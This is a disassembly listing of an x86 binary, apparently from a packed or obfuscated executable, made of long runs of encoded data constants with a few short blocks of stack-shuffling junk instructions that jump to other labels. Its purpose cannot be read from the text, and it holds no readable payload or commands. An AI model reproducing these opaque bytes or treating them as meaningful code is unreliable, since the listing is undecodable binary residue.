		dd 8591F30Fh, 0BF5C3FDEh, 420C77A4h, 485CDD2Bh,	0ABA1h
		dd 637FD600h, 3FDE7A01h, 7DF4CFCCh, 8DD79D33h, 471D6DF8h
		dd 7C6032A6h, 39ADF769h, 0B581721Dh, 0F10D4339h, 0ADFCAD54h
		dd 2EB41592h, 0E1FBC91Fh, 0AEF5F886h, 9D409510h, 0D783103Fh
		dd 0E645F29Ch, 56F0AB4Eh, 38184685h, 873FDF2Ah,	506EB516h
		dd 45C7D2EDh, 69C0DB38h, 525CB12h, 77E8620h, 736737A6h
		dd 9FABFB6Ah, 31A50F1Eh, 0A7090C56h, 0FC000001h, 0AFBE246Eh
		dd 537A683Ah, 1627B301h, 0D8E1F5C5h, 29A93D8Dh,	0F8CA1BDEh
		dd 0C68CC3EAh, 0B5D8990h, 481A4E5Fh, 871B041Ah,	338713A5h
		dd 3350EB68h, 0FB82D0A2h, 84B1F65h, 9184E769h, 9C84B001h
		dd 26BE5F3Fh, 0DE862E0Ah, 0A2F0633Fh, 0EBB92B3Ah, 62BDEAF1h
		dd 298093E5h, 0DE85B799h, 0AE95063Fh, 55AC2661h, 97485CDDh
		dd 0D2h, 9A7EEFFCh, 7147DE9Dh, 94C8A9ACh, 79033A01h, 9D5E3322h
		dd 0AC427806h, 39B53ACCh, 0DA218213h, 160D5789h, 0EF3661B3h
		dd 18630A7Bh, 0AE30BD40h, 0A0756F3Fh, 77D0A237h, 992A556Dh
		dd 558B39B4h, 1EB25B0Fh, 99270054h, 2EBE4F56h, 0F00E195Ch
		dd 3F9BA4F5h, 67C9D930h, 0B63FDDAFh, 0D6C71E65h, 0D21DA380h
		dd 25370CBh, 0EB441640h, 89D91CF1h, 45C64C01h, 8B180390h
		dd 0FF480C56h, 95581E3h, 0EE4F4C46h, 0FE6F7C97h, 0C61726ACh
		dd 4C594EF4h, 358F31A3h, 0A160h, 2274E600h, 6234A5B4h
		dd 0A5F76574h, 0EFBB2831h, 3383D2FBh, 2DE83FA7h, 0D1F8EEC0h
		dd 9FAE347Eh, 40697D4Fh, 72144210h, 12AF9121h, 0DD7E3387h
		dd 0D0A23326h, 1F65FB82h, 9D33084Bh, 7E0B227h, 4A18485Dh
		dd 74EBF853h, 7B67B62Eh, 39B58519h, 0FACC37E4h,	0B1E40789h
		dd 47194566h, 2D85F81Dh, 3F9BE105h, 25BF5Ch, 0C5D482D0h
		dd 879BC193h, 3B0D13DEh, 3639543Dh, 57864895h, 0DFB85D07h
		dd 982D1085h, 5D6C7A48h, 223B90Bh, 45DB81D1h, 64F4C1DCh
		dd 2FA1481Eh, 31E7F65h,	0E7000000h, 9F332DD6h, 6AFE8FD5h
		dd 35A14418h, 0F3647963h, 0C51035AFh, 8FDEEFF5h, 5380A53Fh
		dd 1C485D07h, 0E277164Eh, 6874CC90h, 1917h, 24048F54h
		dd 4240481h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3818h
		mov	[esp], edi
		push	ebp
		mov	ebp, 27B66173h
		inc	ebp
		add	ebp, 0DE7803A3h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 0AB129DCh
		pop	dword ptr [edi+8]
		push	ebx
		mov	ebx, 0AB129DCh
		add	[edi+8], ebx
		pop	ebx
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55C3DB
; ---------------------------------------------------------------------------
		db 0BBh
		dd 20453C52h, 0DEC2F1CDh, 0C71EA03Eh, 9BB81DF5h, 3062E73h
		dd 3E0FFC5h, 31D0E82h, 0FC798B61h, 0DE43C79Eh, 0B07B8B73h
		dd 8D3FEFA3h, 2E75208Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0E664CE43h, 0DA6AB3EDh
		dd 6D8D8910h, 2906291Eh, 2920259Dh, 8185C706h, 3006292Dh
		dd 6A00006Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 6166C357h, 53F022BDh, 0E95A8D3Ah
		dd 0Eh,	78E3569Ah, 5BBAB3BDh, 94F4CC6Bh, 85C78E91h, 6292005h
		dd 0
		dd 1591B589h, 0B5FF0629h, 6291A15h, 1255858Bh, 10E90629h
		dd 9D000000h, 0F98C3707h, 0EE2D55Eh, 9141DE2Fh,	0FF424191h
		dd 2931E995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B70F59D5h, 0FF006AF3h, 29059195h
		dd 0EBC08B06h, 0A8C7DB3Eh, 9016142h, 5075C324h,	46412D0Eh
		dd 0A437AFE6h, 2D6A7C10h, 0FAD8ADA5h, 8AD21B6Ah, 0A1C2F297h
		dd 20936FEAh, 0E862B4CBh, 5B1C1C4Fh, 55F89925h,	11679D0Bh
		dd 4ECF8CADh, 8DF5BC49h, 29118D9Dh, 2AB806h, 85890000h
		dd 62905BDh, 0E8h, 0D055800h, 89000000h, 2AE903h, 0
		dd 9 dup(77E6h), 0FFFF77E6h, 0B0E9h, 8C666000h,	4C2F6DAh
		dd 0C850Fh, 853B0000h, 6292639h, 36840Fh, 853B0000h, 6291875h
		dd 2A840Fh, 853B0000h, 6293051h, 1E840Fh, 853B0000h, 6290ACDh
		dd 12840Fh, 0BD830000h,	6290091h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 6294D6Bh, 5B8h, 61E3FF00h, 8DD00BC3h, 2E774D8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 8E9C8h, 0BFF80000h, 6ABEDBD0h, 8D89CCA7h, 6291E6Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CC35343h
		dd 94AA25D2h, 2D8185C7h, 61640629h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 70A090C3h
		dd 0B5D6D79Fh, 0A9958BFEh, 0E9062915h, 12h, 4CE0845Bh
		dd 7578EB89h, 8B4D4D87h, 0F7F6C7Ah, 85C79B35h, 6292005h
		dd 0
		dd 0FFD1B70Fh, 293545B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0C576C0FAh
		dd 80629C74h, 0E995FF67h, 0F062931h, 6AC2BFh, 59195FFh
		dd 0C08B0629h, 1B956AEBh, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch
		dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh,	0CF7AC42Ch
		dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h
		dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
		dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h
		dd 40D397A1h, 60CC37C7h, 0F732D8B5h, 8E8h, 1E08F100h, 7C58283Fh
		dd 6820F92h, 81000000h,	4680EAC7h, 7E95E08h, 0D6000000h
		dd 0DBA78F6Ah, 0C681D1B7h, 73A1h, 3514E781h, 0C02B5C78h
		dd 34FF4DB7h, 11858930h, 5A06292Ah, 0F281DA8Ah,	79FE0564h
		dd 0BD58F281h, 0E3812238h, 16733FDBh, 3978C281h, 9D8B4FB2h
		dd 6291E49h, 8B061489h,	0E883FCDAh, 55B52904h, 8106292Bh
		dd 0FF8CF4F8h, 10850FFFh, 60000000h, 61FB8BFCh,	19E9h
		dd 5DC38C00h, 89A32B77h, 29256DBDh, 0FFA0E906h,	0EE2CFFFFh
		dd 42086EAh, 60EB66E5h,	18h dup(0)
		dd 0B14E9h, 0B08E900h, 82680000h, 0E9062E80h, 0FFFB04CCh
		dd 2E81D068h, 4C2E906h,	3A68FFFBh, 0E9062E82h, 0FFFB04B8h
		dd 0AC83B20h, 518574ECh, 995DD6B7h, 0DD11E27Fh,	6AE8653Bh
		dd 0F3519E3Ah, 401AFC7Eh, 0CEF09CDh, 0D5B15787h, 6B3A9E5Ch
		dd 3E76CC2Fh, 9518357Ah, 86EF62C4h, 0EF59779Ah,	6C3548ABh
		dd 0A2EEB180h, 8E68735Fh, 56CA703h, 40144337h, 6CF04EE6h
		dd 20BD3E64h, 7B24806Ch, 0DFDF0F35h, 492F46F4h,	0B01662EFh
		dd 0FD74D0D4h, 0AE116290h, 97F8806Ch, 4324FA4Ch, 3E987EC8h
		dd 929EF7B3h, 58BE722Dh, 14EACEEFh, 6D23BB6h, 678C0BA5h
		dd 23F4837Fh, 4A0CFCD8h, 9E6DF4F4h, 1D907628h, 341F66ADh
		dd 0B6459C72h, 0BC318B6Dh, 7960E670h, 4FAD6B09h, 0CB4025FBh
		dd 0B041997Fh, 3E8514F6h, 0B72A1D5h, 9FE07A4Ah,	0A5D55E39h
		dd 869A7C52h, 4FA0D6BFh, 0BA869A7Ch, 64828EE9h,	85BBD7F3h
		dd 11875DBBh, 0B4171FB7h, 2EC3B8C2h, 0D92063C7h, 0CD3C24FCh
		dd 842DEB09h, 0FD2A56BFh, 0A2572E5Ah, 4CB3F7C5h, 0AD869A63h
		dd 5F3F99E2h, 200B805Bh, 0F2200D46h, 869A6281h,	61D12768h
		dd 9446CFAFh, 0E960C41Fh, 0B1FFD66Eh, 0AAA0BE51h, 0EB64B0EBh
		dd 97F456C0h, 0A494F0A3h, 0A2448FD6h, 0DB7B7529h, 48B77DDCh
		dd 0BC000000h, 0DF456C0h, 0CE215524h, 3B806C67h, 78DD2468h
		dd 61371C67h, 26290F84h, 84E7454Bh, 7295E422h, 694FC6A6h
		dd 339D1E04h, 1B04806Ch, 0C4804BD0h, 3080ED1Ch,	74FFDD54h
		dd 8461379Eh, 0C68BB0Fh, 2535C3h, 0C0BA0000h, 4B16D156h
		dd 6CEEEC4Fh, 74FF0680h, 1CC4804Bh, 51CA1EFh, 9A664C0Bh
		dd 6C271B9Ch, 0B29D8680h, 0C0D59E8Bh, 70FD5F59h, 1DFF5DB6h
		dd 366C4990h, 7A45EB18h, 0F3D294FFh, 537E958Dh,	960ED427h
		dd 2E523D86h, 0AFF49A66h, 9633086Bh, 4AAEF186h,	9632E956h
		dd 0BF67E586h, 0B3A3AD37h, 1964574h, 0C0EE0000h, 52A5D158h
		dd 0C7806CEFh, 351EE865h, 0C02D741Fh, 6CEE69D2h, 7BCF5080h
		dd 8A48C1A5h, 0E960C401h, 0FC7FBB8Ch, 0E5806CEEh, 0D6955EBAh
		dd 0D156C01Dh, 73D5A3F4h, 0DFDB08FEh, 806CEE5Ch, 9E7EDA45h
		dd 24705317h, 7529A22Bh, 7DDCDB7Bh, 64ED492Fh, 2BA510h
		dd 0C08E0000h, 4B16D156h, 0EEC33462h, 652E806Ch, 77F83E17h
		dd 62806CEEh, 804B3631h, 62ED1CC4h, 8661379Eh, 35242F0Dh
		dd 44h,	0D156C0BAh, 477A3F4h, 0ED806CEFh, 0DA5D59A2h, 0C7806CEEh
		dd 4BF7785Ch, 6CEEEC4Fh, 74FF0680h, 454B804Bh, 373FE9C8h
		dd 4218E212h, 3B702BABh, 3A2684D0h, 986EE546h, 9EF9604Bh
		dd 0A876137h, 0CE0157BCh, 8AD358C0h, 6CEF3F8Ch,	9F1A280h
		dd 0FB89F7D8h, 695C266Fh, 443B4E2h, 0E5AE806Ch,	4C3ACB17h
		dd 0FB533107h, 0C44BC072h, 4B6EE960h, 268009EDh, 0EF48ABEFh
		dd 0EEB1806Ch, 80C1B187h, 0F8525230h, 775EB575h, 0CB0450B3h
		dd 0ACD3454Bh, 0AE11982Eh, 99FF0ECAh, 6BD2573Fh, 7B7529A2h
		dd 0B77DDCDBh, 40h, 0D156C0BCh,	0F984F4h, 0DF69692Eh, 50169B79h
		dd 4B2A2573h, 0EEC33462h, 652E806Ch, 77F83E17h,	62806CEEh
		dd 0AB0CD431h, 0D51A6A05h, 157C39EEh, 804B0CC7h, 62ED1CC4h
		dd 2735D59Eh, 0BA000000h, 16D156C0h, 0EEEC4F4Bh, 0FF06806Ch
		dd 0C4804B74h, 9E62ED1Ch, 0E2A2EE37h, 0C33A5579h, 9985F620h
		dd 236C806Ch, 0C7351AD5h, 0BA000000h, 8AD358C0h, 6CEF338Ch
		dd 35F59E80h, 0A070FB53h, 0EA4D4DC4h, 0D7806CEEh, 7AF1654Ch
		dd 6EE960C4h, 56C01DD6h, 377845Ch, 806CEEB0h, 0C42F7619h
		dd 75ED4B1Dh, 4327AC09h, 2413900h, 75BD3636h, 7DDCDB7Bh
		dd 1C73E12Fh, 714AADE9h, 0ECB77D6Ch, 30BC2AA0h,	5011E4h
		dd 0C0DA0000h, 0C110F456h, 8CF07DDFh, 6CB7D2ADh, 0FEF81907h
		dd 4F82DF3Fh, 4F4BE669h, 806CEEECh, 4B834AD5h, 0ED1CC480h
		dd 61379E62h, 0A80B0F86h, 11806CEEh, 43270Eh, 0EE7CFF3Bh
		dd 3A65806Ch, 624B15DEh, 6CEEC334h, 17652E80h, 1D40h, 56C02100h
		dd 4F4B16D1h, 806CEEECh, 7DF05622h, 3772468Dh, 804B65ECh
		dd 62ED1CC4h, 60C4D59Eh, 0DCBF11E9h, 0A501E757h, 0DB265A2Ch
		dd 0DD806CEEh, 0AE2E33Bh, 7DDEBA83h, 4CAAA2F6h,	489961E8h
		dd 0EEC03367h, 6429806Ch, 6CEEBD3Eh, 107B2480h,	0B8041BC4h
		dd 359CA9D7h, 0DDC34823h, 542806h, 0B30B3CE2h, 3FDA383Ah
		dd 0F246AFF4h, 63C5931Ah, 78968AEEh, 5F7A4534h,	0C13E7234h
		dd 5886953Ch, 0D7897180h, 5F01F90Ah, 2ED165B9h,	2E274AAh
		dd 3874B49Ah, 1Ch, 0E960C435h, 0ABEF3011h, 806CEF48h, 968AEEB1h
		dd 806CEF25h, 0C35E96Fh, 0A62D21A8h, 2CFF454Bh,	60A6090Dh
		dd 13806Ch, 0D40BB31Ch,	0BB91F873h, 3E8801E5h, 27888ED7h
		dd 42806C7Ah, 0E9D38560h, 9083512Dh, 1CEA61C4h,	9207E137h
		dd 0EC48C3A4h, 0EA398108h, 6B7CBA83h, 167A4AE3h, 6E2BC90Dh
		dd 8CBAF8C5h, 73807451h, 46899B05h, 0E93016A2h,	43659C8Ch
		dd 561EF0AAh, 0FD7ABE02h, 0F18CC46Eh, 0A143D34Bh, 596E8567h
		dd 1Ch,	4FC2A070h, 58C0E669h, 3B8C8AD3h, 0A6806CEFh, 65C090FDh
		dd 357B6CEEh, 0C8000000h, 0F13E624Bh, 0AE092253h, 0BC78FB3Fh
		dd 1B61806Ch, 0A6EC0AB1h, 80ED34AAh, 6C5B2192h,	0B1878880h
		dd 93F841D7h, 6C5B2867h, 0B10B8980h, 2888D53Ch,	9F14C64Dh
		dd 15135h, 55C0BA00h, 0FFD66FD6h, 0E236BB19h, 6460C461h
		dd 54BF0B86h, 29A2C20Dh, 0DCDB7B75h, 22B77Dh, 0C0BC0000h
		dd 4B6FD655h, 6CEEEC4Fh, 1BC7D580h, 20D30EEAh, 804B1ED9h
		dd 63EA61C4h, 3535D59Eh, 0BA000000h, 6FD655C0h,	0EEEC4F4Bh
		dd 0FF06806Ch, 3E624B74h, 8EACEC6Bh, 0C018FC7Dh, 3E1A4931h
		dd 18454B35h, 0C92A68B5h, 30806CD7h, 2707216Fh,	0A27BD93Fh
		dd 0D59E2E29h, 6EE960C4h, 56C01DD6h, 0ED4B16D1h, 5036820Fh
		dd 0D2266DDDh, 0C0A5731Ah, 4094FF4Bh, 0DB7B758Fh, 3EB77DDCh
		dd 0BC000000h, 0A7D356C0h, 806CEF54h, 0A28BD2BDh, 0FFB0AD6h
		dd 4B7FF0C4h, 30309662h, 8FED928h, 3ABDFDDBh, 0A7806CEFh
		dd 804B75FCh, 62ED1CC4h, 454BD59Eh, 7984EA55h, 3EAD8B22h
		dd 48h,	0D156C0B7h, 72B084F4h, 0E6EA46B7h, 6C823FB0h, 9EF9AA80h
		dd 6C103B92h, 54A0AC1Ah, 0D5454B9Bh, 5B0A048Eh,	2C8F8BD0h
		dd 95806BF2h, 5347AE8Ah, 806BF1E0h, 4B408B1Ah, 0E3F8BC45h
		dd 93F9CE51h, 1CC48BB2h, 0D59E62EDh, 1EE863C4h,	6CEE9C1Ah
		dd 2CA17B80h, 0AD5C845Ah, 948ACEDDh, 65B95F3Eh,	472FB5Ch
		dd 806CEEB3h, 0C12A751Eh, 18D8D5DFh, 12660894h,	63C451DAh
		dd 230A8765h, 88268147h, 0B5967DB1h, 6E0CB6Dh, 213898F5h
		dd 0D93F14D2h, 9E2E33Bh, 0E6145082h, 3C806BF1h,	0DDCD08E9h
		dd 3DEBA7Ah, 7BD1A4F0h,	1AFFFFFEh, 6CEF1966h, 0EE552280h
		dd 126E806Ch, 2F806CEFh, 806CEED0h, 6CEE8CEBh, 583E9A80h
		dd 0DA3E15D5h, 6CEF59A6h, 30664F40h, 406CEEBFh,	0EF56D9DDh
		dd 0D043406Ch, 63C5137Ch, 0F2200DB6h, 3A487AFBh, 0AE278751h
		dd 0B7AD8BD8h, 240F8461h, 0E41D0342h, 0F3602B9Eh, 0D2593286h
		dd 7FD93F14h, 0CE34119Ah, 40719618h, 6157D4BFh,	50ED5C19h
		dd 2A0755Ah, 99460000h,	0D20EE86Ah, 70D53323h, 449D7BFBh
		dd 836187B7h, 449CCC0Eh, 0A69419FFh, 0EB6BE640h, 2D21AA0Dh
		dd 78FA73CBh, 2E81F5DCh, 9B7A3E6Fh, 60C473FAh, 0DEBB11E9h
		dd 0CCA80855h
		dd 181E7745h, 7A4AF60Bh, 3571E5AEh, 869B66C6h, 1C79C257h
		dd 0D6BE644h, 6ED9F220h, 5FC08079h, 0F04B2D76h,	0DEBA3D79h
		dd 7C278CC9h, 1A7E5515h, 6E4E044h, 54B2A08Bh, 6D8179F0h
		dd 8CC9DF16h, 4CA91287h, 0CDC9127Bh, 8CC9DE6Ah,	69CACC57h
		dd 508CC9DEh, 0C2A9E9CFh, 0E786A7E6h, 258157BCh, 580768AEh
		dd 84F292F8h, 0BBA9777Eh, 11784374h, 0EA633BDDh, 0F9513781h
		dd 48264A9Bh, 0A1F7DEC2h, 159E7BD1h, 69D9CAC8h,	9F808CD6h
		dd 1B6FA2Bh, 5EFE020Fh,	0C3563004h, 0CCCA1378h,	99262E6Bh
		dd 86EFCD56h, 0CD2E54BDh, 3499262Eh, 0CE0D0D6Bh, 4930436h
		dd 553DEBCh, 216FB4DFh,	0D90E6033h, 0E4C92F62h,	0C733B81Ch
		dd 9F540A74h, 57DCBF5Dh, 42B1A80Ch, 7F44AFE4h, 0F5B53E99h
		dd 6482BA9Eh, 7DB10980h, 9F53F0FEh, 54B1FA9Fh, 0FA224524h
		dd 3602F2A4h, 9ACCDBDFh, 0A2ED9932h, 289306C4h,	0F563D7C3h
		dd 0C34C9F5Bh, 71963422h, 16B96D8Eh, 152h, 3E3CCF14h, 7DF100D8h
		dd 8549C29Bh, 0D105F663h, 1EDC5137h, 0EF4D924Eh, 0B416F062h
		dd 78D33539h, 0C1A543F3h, 472E8A48h, 3E6DE053h,	8134C97Ah
		dd 1A8E454Bh, 4D3329F9h, 0A70C8D6Fh, 3B0B755Eh,	63AEEE50h
		dd 0EBF8381Ch, 8E7A4A18h, 7ED8B885h, 77D5A5F3h,	0C63C19A2h
		dd 80738374h, 29333063h, 8AD5A28h, 0E83D82h, 61FE0000h
		dd 9A46A092h, 0A80DEB6Bh, 0CD53323h, 3B997FFFh,	0FCD484B6h
		dd 1EDC5137h, 0A3931EF8h, 0E569E245h, 3022AB03h, 76F93D94h
		dd 637A3E6Ch, 59C03B42h, 2D74F95Fh, 0F5DDD2C0h,	93FC7A4Ah
		dd 1C9571D7h, 47A8EE37h, 0B2869B67h, 0B5538BE1h, 0DB5C5AD1h
		dd 0C6869B66h, 5DB4725Dh, 93E3A053h, 0CAAE1018h, 0C50EF873h
		dd 3F8415F7h, 0FEA7A0D6h, 1128078h, 77FA5C24h, 17C32521h
		dd 3B9274E6h, 0FD6482B0h, 542ACC0Eh, 1DF315D9h,	0E244A290h
		dd 0AE09EF6Fh, 83F7D825h, 8CC96F30h, 0AAA2F699h, 0ED61E84Ch
		dd 3E3CB10Bh, 0ADF63DDCh, 0A7775E69h, 1E4BC86h,	0EFB0AE8Ah
		dd 6AE1451Bh, 0F7E7CB2Ch, 65E84E92h, 81924E85h,	20FB5DA6h
		dd 0A0F4DFABh, 906BCDA4h, 52DFBD1Bh, 0A59BF94h,	0Ah, 57DCBF19h
		dd 0EB64B093h, 1FC4B43Fh, 0E0441AECh, 5C3F9169h, 0DBBD13D7h
		dd 583E9056h, 0DDB315D5h, 29309650h, 0D3AA6CDAh, 3028EE58h
		dd 683A79C1h, 1B3h, 68240489h, 1E18h, 68241C89h, 1362h
		dd 0BB240C89h, 9E95463h, 0FFB8504Bh, 3518F666h,	1B4CBD81h
		dd 6858C329h, 433Ch, 81242489h,	42404h,	53590000h, 26D3B850h
		dd 442940E8h, 8F580424h, 41810841h, 0E826D308h,	240C8B40h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		db 3Fh
		dd 7E67D461h, 47B829E7h, 3062E83h, 8DC38BC5h, 2E84C98Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0E9CD705Eh, 9, 9D641B84h, 0E7857A5Ah, 0AE8F6h
		dd 57810000h, 67542B0Ah, 0D16B5FEh, 58FAB70Fh, 1E6D8D89h
		dd 0B5890629h, 6291045h, 2D8185C7h, 64A80629h, 11E90000h
		dd 26000000h, 0FED267C8h, 9689617Ah, 0E2CBC6FFh, 289DD2F4h
		dd 200585C7h, 629h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B531D3C3h, 6292C55h
		dd 2870Fh, 0F28B0000h, 0A758D89h, 0B5FF0629h, 6291B7Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D9C35040h
		dd 2DADB509h, 8D890629h, 6290DA9h, 31E995FFh, 860F0629h
		dd 6, 18419D0Bh, 6A0629h, 59195FFh, 0C08B0629h,	3C3048EBh
		dd 358CD323h, 0DD598B1Ah, 5358A516h, 0DFC278C2h, 0FCC8E56Eh
		dd 7354D72Dh, 0E665174Ah, 0AFB5E1CCh, 7B8EF8CCh, 0CA13872Bh
		dd 2C0AAE45h, 0C935B547h, 0B83E269Ah, 457F8229h, 2C5F2E41h
		dd 7F61D8CAh, 229E772Ah, 0FAE9F713h, 0F000000h,	1786h
		dd 12E900h, 6A9F0000h, 12D8158Eh, 993C6663h, 4C271101h
		dd 7A0FBEA6h, 8584B58Dh, 6A062Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 858D3BC3h, 62C4C75h
		dd 0F8C0Fh, 52600000h, 6E95Eh, 8AD30000h, 346D98EEh, 0E9D0FF61h
		dd 6, 7ED09C22h, 0F5C3061Ah, 0FCD98C66h, 0F04C1F6h, 3984h
		dd 0FB8BF500h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h
		dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch
		dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh,	0CF000000h
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0E9E7344Fh, 11h,	0FE81BAB1h, 0B2E94E2Fh
		dd 1525EACh, 77271214h,	0BE995h, 0D840000h, 816DFF43h
		dd 714218AFh, 0AA85C79Fh, 3F062E85h, 0E9000101h, 13Ch
		dd 4Fh dup(0)
		dd 205DBD83h, 0F010629h, 5CA84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0DDE58530h
		dd 11E9h, 0D55C2E00h, 8E83CE28h, 3AFCFF4Ch, 0CCA95BF0h
		dd 85C651B2h, 6291B59h,	53006A43h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 61A569CDh, 14870FC2h
		dd 60000000h, 0BE9h, 1C7B9900h,	66629288h, 0ED33D49Dh
		dd 0E9615853h, 10h, 56DFFA47h, 5274739Eh, 6EA2B22Fh, 0E2019892h
		dd 59E7A568h, 605260B8h, 0B9525961h, 261735D2h,	3481615Ah
		dd 0FC375024h, 56006A54h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 13880F98h, 0E9000000h
		dd 0Eh,	5C17EBDEh, 0E856912Ch, 29C2AAE3h, 0B5FF1D54h, 6291A99h
		dd 61F5F560h, 10830Fh, 8E0F0000h, 0Ah, 5E9h, 5D12FA00h
		dd 858DE4F0h, 62C7BD2h,	5E9h, 797BA400h, 0D0FFF572h, 0FE9h
		dd 0C61BBE00h, 62EE745Fh, 6C6722EAh, 249282DAh,	16D98589h
		dd 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0E9609DC3h, 8, 4ACF684Bh,	9FF7DAABh, 0F8DE8B60h
		dd 880F6161h, 1, 5985C6F8h, 5006291Bh, 5800Fh, 0F9600000h
		dd 0E9615A57h, 12h, 21E3F515h, 0E2B44B2Fh, 48518137h, 0DD810B19h
		dd 4E81ECEh, 56000000h,	0E9A8ADADh, 8, 4365A233h, 0ECE49AD7h
		dd 0A840F50h, 60000000h, 310F5250h, 6160585Ah, 24448B61h
		dd 9E904h, 0C86D0000h, 0E70D60F4h, 8B0D5A0Eh, 6E900h, 0D6320000h
		dd 360034DAh, 4244489h,	1C8D0Fh, 0E9600000h, 13h, 3E3F8488h
		dd 23FD3917h, 1A610D62h, 937A801Fh, 0B7367F9Dh,	0F586157h
		dd 0C87h, 68B0F00h, 0F000000h, 86h, 99B5FF00h, 0F06291Ah
		dd 138Eh, 0EE900h, 0BBB60000h, 743B1958h, 0E7201F7Ah, 0CC41F32Bh
		dd 7BD2858Dh, 6660062Ch, 616EC2BAh, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 8948B2C3h
		dd 29353185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0C1736184h, 0E9D5C41Dh, 5, 0D980D4ACh
		dd 4E8E6h, 0A82F0000h, 8E0FF08Fh, 1Bh, 15830Fh,	10E90000h
		dd 99000000h, 38F98E46h, 680445E8h, 0DF43AD9Eh,	508E7539h
		dd 6E9h, 92BBA000h, 8BAEB283h, 0F042444h, 98Ah,	0BA666000h
		dd 8B6613C3h, 8B61F3h, 0FE9h, 925D1400h, 0BD3C6A25h, 0D126D72Fh
		dd 75D90191h, 4244489h,	0EE95250h, 3E000000h, 0D75FDF79h
		dd 76664D96h, 0A279CB13h, 60310F23h, 5A616160h,	0CE95858h
		dd 4D000000h, 226C6FFDh, 24B2D189h, 0FF7AA1F2h,	291A99B5h
		dd 10880F06h, 0E9000000h, 0Bh, 5886D2DFh, 0A1DF3B7Ah, 8D92AEDDh
		dd 2C7BD285h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0DADE46E9h, 0FF51F72Ch, 8589FCD0h
		dd 6292B31h, 11E960h, 3C070000h, 80B9E1A8h, 5A65C314h
		dd 6AABFB2h, 0E8C1B3B2h, 0Bh, 548D640Bh, 976ACE91h, 8B8D8ED2h
		dd 0C6615ECBh, 291B5985h, 820F5006h, 1,	0A04068FCh, 6160B7F8h
		dd 16243481h, 6A20647Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C959C352h,	0A86AE916h
		dd 9317482Fh, 0EE9F8h, 84F20000h, 23F0D2D9h, 0EC6EB4E7h
		dd 0FBA50BDDh, 2639B5FFh, 8DF90629h, 293B7285h,	18F0F06h
		dd 0F9000000h, 0CE9D0FFh, 21000000h, 0B2A0C26Bh, 8173A1DDh
		dd 899CE675h, 2910B585h, 0FE906h, 47E80000h, 0F6649EE1h
		dd 0CDE1F487h, 0C0AB28A8h, 11E9F1h, 9F120000h, 0F9B07959h
		dd 487491FAh, 3A10D22h,	0E933605Ah, 18Fh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 60C35242h, 11E9h
		dd 0ACB98500h, 0D3CB5DAFh, 0DAB56AB4h, 74B97DD1h, 5050A6D0h
		dd 108F0F52h, 0E9000000h, 0Bh, 34F951Ch, 762ABC28h, 0FBFEF6Fh
		dd 0AE931h, 0B3300000h,	0BE9E5B5Fh, 0B5193AB7h,	2C89585Ah
